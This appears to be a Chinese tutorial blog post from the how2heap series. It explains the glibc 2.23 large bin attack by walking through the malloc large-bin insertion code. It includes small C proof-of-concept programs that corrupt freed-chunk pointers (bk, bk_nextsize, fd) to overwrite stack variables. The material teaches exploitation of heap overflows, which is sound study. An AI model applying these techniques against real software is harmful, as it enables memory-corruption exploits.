how2heap-2.23-08-large_bin_attack
pwngdb命令,方便源码调试
set context-sections code
set context-source-code-lines 40
粗略理解chunk进入large bin的过程(先看图解,再回头看代码
)
下面是从unsorted bin链中取出的chunk,插入到large bin链的代码
基本逻辑如下:
- 从unsorted bin链中取出的chunk大小,是否属于small bin的大小
- small bin相关的处理
- 从unsorted bin链中取出的chunk大小,是否属于large bin的大小
- 计算出当前chunk大小从属的main_arean->bins的下标
- 获取该bins下标的large bin的头结点
bck
- 通过large bin头节点的fd,找到large bin链中size最大的chunk
fwd
(large bin链中第一个chunk) 当前large bin链不为空(操作的是fd_nextsize和bk_nextsize形成的链)
- 当前chunk的size
<
large bin链中最小的chunk- (
总结:将当前chunk插入到large bin链的尾部,即插入到最小的chunk的后面
) fwd = bck;
令 fwd 指向 large bin 头结点bck = bck->bk;
令 bck 指向 largin bin 尾部 chunk,就是当前已在large bin链中最小的这个chunkvictim->fd_nextsize = fwd->fd;
当前chunk 的 fd_nextsize 指向 largin bin 的第一个 chunkvictim->bk_nextsize = fwd->fd->bk_nextsize;
当前chunk的 bk_nextsize 指向原来链表的第一个 chunk 指向的 bk_nextsize(当前chunk的bk_nextsize指向原先最小的chunk)fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
原先最小chunk的fd_nextsize指向当前chunkfwd->fd->bk_nextsize = victim
large bin中第一个chunk的bk_nextsize指向当前chunk
- (
- 当前chunk的size
>=
large bin链中最小的chunk- 从large bin链中size最大的chunk
fwd
(large bin链中第一个chunk),从大到小遍历,找到首个不大于当前chunk的chunk - 如果找到的chunk的大小
等于
当前chunkfwd = fwd->fd;
将当前chunk 插入到该chunk的后面,并不修改 nextsize 指针
- 如果找到的chunk的大小
小于
当前chunkvictim->fd_nextsize = fwd;
当前chunk的fd_nextsize指向这个找到的chunkvictim->bk_nextsize = fwd->bk_nextsize;
当前chunk的bk_nextsize指向这个找到的chunk的bk_nextsizefwd->bk_nextsize = victim;
找到chunk的bk_nextsize指向当前chunkvictim->bk_nextsize->fd_nextsize = victim;
找到chunk原先前面的chunk的fd_nextsize指向当前chunk
- 获取找到的chunk的前面的一个chunk(通过bk找到当前chunk插入前,最小的比找到的chunk大的chunk)
- 从large bin链中size最大的chunk
- 当前chunk的size
当前large bin链为空(操作的是fd_nextsize和bk_nextsize形成的链)
- 当前chunk的
fd_nextsize
和bk_nextsize
均指向自己
- 当前chunk的
- 将当前chunk链入large bin链中(
fd,bk形成的链
)
图解入large bin链的逻辑
large bin链中放入首个chunk:chunk a
这里fd,bk,fd_nextsize,bk_nextsize指向都是chunk的首地址
放入 size 比 chunk a 大的 chunk c
large bin fd总是指向size最大的chunk
large bin bk总是指向size最小的chunk
large bin链中的chunk,通过large bin fd 从大到小排序
放入size 比 chunk a 小的 chunk b
large bin链中的chunk,通过large bin fd 从大到小排序
只不过在代码实现中,通过large bin bk 快速来实现这一步
放入 size 和 chunk a 一样的 chunk d
在代码中,有这么一个注释/* Always insert in the second position. */
,就是大小相同的chunk,紧临着相同大小首个进入large bin链的chunk放置(可以看下面chunk e一起理解
)
大小相同(重复
)的chunk,不会有fd_nextsize,bk_nextsize(忘掉横向链,竖向链
)
放入 size 和 chunk a 一样的 chunk e
如上情况就是入large bin链的所有逻辑
回顾一下unsafe_unlink
和unsorted_bin_attack
how2heap-2.23-05-unsorted_bin_attack
how2heap-2.23-06-unsorted_bin_into_stack
unsafe_unlink
是因为一个被破坏的
chunk脱链,重新修整指针时引发的问题
unsorted_bin_attack
也是一个被破坏
的chunk脱链,重新修整指针时引发的问题
large_bin_attack
原理与上面的两个差不多,是一个chunk入链,与一个被破坏
的chunk重新修整指针时引发的问题
从large_bin_attack被挖掘出的思路出发只考虑2.23的源码
unsorted bin chunk进入large bin链的四种逻辑:
- large bin链为空,chunk进入large bin链
- chunk的size比large bin链中size最小的chunk还要小
- large bin中存在和chunk size一样大小的chunk
- chunk的size大于large bin链中size最小的chunk
large bin chunk出large bin链
- 从恰好大小合适的largebin中获取chunk,发生unlink
- 从比malloc要求大的largebin中取chunk,发生unlink
好像入链归于large_bin_attack
,出链归于unsafe_unlink
,不清楚,只看入链的逻辑
下面通过被破坏的large bin chunk实现漏洞利用
的角度来观察不同入链的逻辑(一般是堆溢出修改large bin的fd,bk,fd_nextsize,bk_nextsize
)
1)首个chunk入large bin链
- 此时还没有被破坏的chunk
- large bin fd,large bin bk 指向这个chunk的首地址
- chunk的fd,bk指向large bin 头结点的首地址
- fd_nextsize,bk_nextsize指向chunk自身
这里没有利用场景
2)比最小的chunk还小的chunk入large bin链
先看看该入链逻辑所涉及的代码,寻找可被破坏-用于利用的chunk(从而有堆溢出产生时,构造这种堆结构)
,以及利用方式
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index); 【1】
fwd = bck->fd; 【2】
if (fwd != bck)
{
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck; 【3】
bck = bck->bk; 【4】
victim->fd_nextsize = fwd->fd; 【5】
victim->bk_nextsize = fwd->fd->bk_nextsize; 【6】
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; 【7】
}
mark_bin (av, victim_index);
victim->bk = bck; 【8】
victim->fd = fwd; 【9】
fwd->bk = victim; 【10】
bck->fd = victim; 【11】
- 【0】
victim
为要入链的chunk - 【1】
bck
为large bin链的头结点,这个位置是一个固定死的值(除非篡改了arena的位置
) - 【2】
fwd
为large bin链中size最大的chunk,也就是紧挨着large bin头结点的chunk - 【3】
fwd
为large bin链的头结点 - 【4】
bck
为large bin链中size最小的chunk
现在bck,victim,fwd,三要素集齐,下面就是构造如下的双链
考虑到fwd时large bin链的头结点,实际的图形如下的两种形式
-
【5】
victim->fd_nextsize = fwd->fd;
fwd为large bin链的头结点,fwd->fd指向的是一个chunk的地址,即size最大的chunk(如果原先large bin链中只有一个chunk,就是指向的那个size最小的chunk的地址),这里没有办法伪造 -
【6】
victim->bk_nextsize = fwd->fd->bk_nextsize;
与【5】中描述的类似,fwd->fd指向的是与large bin头节点最近的chunk,而fwd->fd->bk_nextsize
是该chunk中的数据,如果有堆溢出漏洞,就可以篡改这个chunk的bk_nextsize
字段,并赋值给要链入的chunk的bk_nextsize
字段
-
【7】
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
分成两部分看
fwd->fd->bk_nextsize = victim
仅是给紧挨着large bin头结点的chunk的bk_nextsize
字段赋值
victim->bk_nextsize->fd_nextsize = victim
对篡改的bk_nextsize
chunk的fd_nextsize
字段赋值为victim
如果有一个unsigned long stack_var = 0;
变量,将篡改的bk_nextsize赋值为(unsigned long )(&stack_var -4)
,那就可以修改这个变量的值了
【8】,【9】,【10】,【11】都是不能控制的
下面是相关代码,可以自己调试看看
#include <malloc.h>
#include <stdio.h>
// OK
int main()
{
printf("begin test\n");
unsigned long stack_var = 0;
size_t *p1 = malloc(0x410); //largebin
malloc(0x10); //to separate
size_t *p2 = malloc(0x400); //unsortedbin
malloc(0x10); //to separate
free(p1);
malloc(0x470); //Release p1 into largebin
free(p2); //Release p2 into unsortedbin
p1[3] = (unsigned long )(&stack_var -4);
malloc(0x470);
return 0;
}
#include <malloc.h>
#include <stdio.h>
// OK
int main()
{
printf("begin test\n");
unsigned long stack_var = 0;
size_t *p1 = malloc(0x420);
malloc(0x10);
size_t *p2 = malloc(0x410);
malloc(0x10);
size_t *p3 = malloc(0x400);
malloc(0x10);
free(p1);
free(p2);
malloc(0x470);
free(p3);
p1[3] = (unsigned long )(&stack_var -4);
malloc(0x470);
return 0;
}
3)放入相同大小的 chunk
所涉及的代码如下
victim_index = largebin_index (size);
bck = bin_at (av, victim_index); 【1】
fwd = bck->fd; 【2】
if (fwd != bck)
{
size |= PREV_INUSE;
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
}
else
{
while ((unsigned long) size < chunksize_nomask (fwd)) 【3】
{
fwd = fwd->fd_nextsize;
}
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd; 【4】
else
{
}
bck = fwd->bk; 【5】
}
}
}
mark_bin (av, victim_index);
victim->bk = bck; 【6】
victim->fd = fwd; 【7】
fwd->bk = victim; 【8】
bck->fd = victim; 【9】
-
【1】
bck
为large bin链的头结点,这个位置是一个固定死的值(除非篡改了arena的位置
) -
【2】
fwd
为large bin链中size最大的chunk,也就是紧挨着large bin头结点的chunk -
【3】通过
fwd
从大到小,寻找到第一个不大于victim size的chunk
如下就是fwd和victim
-
【4】如果fwd和victim大小相等,就会把fwd中的fd取出来用,从上图可以可以想到,假设存在堆溢出漏洞,那就可以修改fwd->fd
经过赋值,伪造的fd指向的chunk,成为fwd
-
【5】将伪造的fwd的bk取出,作为bck
这里有个问题,伪造的fwd chunk的bk字段必须是要有内容的,最好是个可写内存的地址,否则执行【9】时程序会崩溃
【6】,【7】给victim chunk的bk,fd赋值,这个不管
【8】,伪造的fwd chunk的bk赋值为victim chunk的地址
【9】,这个太不稳定了,不管
这种攻击场景,适用于覆盖栈中保存的堆地址的变量,将其保存的堆地址修改为victim chunk的地址
#include <malloc.h>
#include <string.h>
int main()
{
printf("begin\n");
char* test_chunk = malloc(0x1000);
size_t * a = malloc(0x410);
malloc(0x8);
size_t *b = malloc(0x410);
size_t * victim = malloc(0x400);
malloc(0x8);
free(a);
malloc(0x470);
free(b);
a[0] = (unsigned long )(&test_chunk -3);
printf("before vuln\n");
malloc(0x470);
printf("after vuln\n");
memset(test_chunk, 'a', 0x900);
char show_array[100];
memcpy(show_array, victim+20,30);
printf("%s\n",show_array);
return 0;
}
4)放入不和其他chunk size相等,且不是最小的chunk
所涉及的代码如下
victim_index = largebin_index (size);
bck = bin_at (av, victim_index); 【1】
fwd = bck->fd; 【2】
if (fwd != bck)
{
size |= PREV_INUSE;
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
}
else
{
while ((unsigned long) size < chunksize_nomask (fwd)) 【3】
{
fwd = fwd->fd_nextsize;
}
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
else
{
victim->fd_nextsize = fwd; 【4】
victim->bk_nextsize = fwd->bk_nextsize; 【5】
fwd->bk_nextsize = victim; 【6】
victim->bk_nextsize->fd_nextsize = victim; 【7】
}
bck = fwd->bk; 【8】
}
}
else
}
mark_bin (av, victim_index);
victim->bk = bck; 【9】
victim->fd = fwd; 【10】
fwd->bk = victim; 【11】
bck->fd = victim; 【12】
- 【1】
bck
为large bin链的头结点,这个位置是一个固定死的值(除非篡改了arena的位置
) - 【2】
fwd
为large bin链中size最大的chunk,也就是紧挨着large bin头结点的chunk - 【3】通过
fwd
从大到小,寻找到第一个不大于victim size的chunk
如下就是fwd和victim
假设存在堆溢出漏洞,可以溢出修改fwd中的数据
-
【4】
victim->fd_nextsize = fwd
,victim的fd_nextsize存储fwd chunk的首地址,这个没有办法伪造 -
【5】
victim->bk_nextsize = fwd->bk_nextsize
,victim的bk_nextsize存储fwd chunk中伪造的bk_nextsize -
【6】
fwd->bk_nextsize = victim
,fwd的bk_nextsize字段赋值为victim chunk的首地址,这个正常
-
【7】
victim->bk_nextsize->fd_nextsize = victim
,将伪造的bk_nextsize chunk的fd_nextsize字段覆盖为victim chunk的首地址
-
【8】
bck = fwd->bk
,bck指向fwd伪造的bk
【8】和【9】,给victim chunk 的fd和bk赋值
【11】给fwd的bk字段赋值 -
【12】给伪造的bk chunk的fd字段赋值为victim chunk的首地址
如果存在两个变量(一个也行)stack_var1,stack_var2
通过堆溢出漏洞,将fwd的bk修改为&stack_var1-2
,fwd的bk_nextsize
修改为&stack_var2-4
,则stack_var1和stack_var2存储的内容在漏洞触发后都能修改为victim chunk的首地址
测试代码如下
#include <stdio.h>
#include <malloc.h>
int main()
{
printf("begin test\n");
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
size_t * p1 = malloc(0x410);
malloc(0x8);
size_t * p2 = malloc(0x420);
malloc(0x8);
free(p1);
malloc(0x470);
free(p2);
p1[1] = (unsigned long )(&stack_var1 - 2);
p1[3] = (unsigned long )(&stack_var2 - 4);
malloc(0x470);
return 0;
}
现在how2heap中的large_bin_attack应该可以完全理解了
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!